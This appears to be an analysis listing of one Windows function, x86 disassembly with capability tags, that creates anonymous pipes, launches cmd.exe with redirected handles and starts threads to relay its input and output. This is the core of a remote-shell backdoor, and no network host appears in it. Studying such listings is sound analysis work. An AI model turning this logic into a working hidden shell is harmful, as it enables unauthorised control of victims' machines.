Function at 0x100048a0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
sub esp, 0x164
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea ecx, [esi + 0x24]
call fcn.10001000
xor eax, eax
xor edx, edx
mov dword [esp + 0x24], eax
mov ecx, 0x10
lea edi, [esp + 0x30]
mov dword [esp + 0x2c], edx
rep stosd dword es:[edi], eax
xor ecx, ecx
lea edi, [esp + 0x71]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x28], eax
mov dword [esp + 0x18], ecx
lea ebx, [esi + 0xc]
mov dword [esp + 0x1c], ecx
mov byte [esp + 0x70], cl
mov ecx, 0x40
lea ebp, [esi + 0x10]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [esi + 4]
mov dword [esi + 0x3c], edx
mov dword [esp + 0x10], edx
mov dword [esi + 8], edx
mov dword [edi], edx
mov dword [ebx], edx
mov dword [ebp], edx
mov dword [esp + 0x24], edx
push edx
lea edx, [esp + 0x24]
push edx
push ebp
push edi
mov dword [esi], 0x1000e22c
mov dword [esi + 0x38], 1
mov dword [esp + 0x30], 0xc
mov dword [esp + 0x38], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10004966
mov edi, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1000494b
push edi
call ebx
mov ebp, dword [ebp]
test ebp, ebp
je 0x10004ac0
push ebp
call ebx
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x164
ret
lea eax, [esp + 0x20]
push 0
lea edi, [esi + 8]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x100049a5
mov edi, dword [edi]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1000498b
push edi
call ebp
mov ebx, dword [ebx]
test ebx, ebx
je 0x10004ac0
push ebx
call ebp
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x164
ret
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x2c]
lea edx, [esp + 0x2c]
rep stosd dword es:[edi], eax
xor ecx, ecx
push edx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebx]
lea ecx, [esp + 0x70]
mov dword [esp + 0x64], eax
mov eax, dword [ebp]
push 0x104
push ecx
mov dword [esp + 0x34], 0x44
mov word [esp + 0x64], 0
mov dword [esp + 0x60], 0x101
mov dword [esp + 0x74], eax
mov dword [esp + 0x70], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x70]
push str.cmd.exe
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x2c]
push eax
push ecx
push 0
push 0
push 0x20
push 1
push 0
push 0
lea edx, [esp + 0x90]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10004a6b
mov eax, dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esi + 8]
push ecx
call edi
mov edx, dword [ebx]
push edx
call edi
mov eax, dword [ebp]
push eax
call edi
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x164
ret
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10004bd0
push 0
push 0
mov dword [esi + 0x14], ecx
mov dword [esi + 0x18], edx
call edi
push 0
push 0
push esi
push 0x10005100
push 0
push 0
mov dword [esi + 0x1c], eax
call edi
mov dword [esi + 0x20], eax
mov eax, dword [esi + 0x38]
test eax, eax
je 0x10004ac0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
mov eax, dword [esi + 0x38]
test eax, eax
jne 0x10004ab2
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x164
ret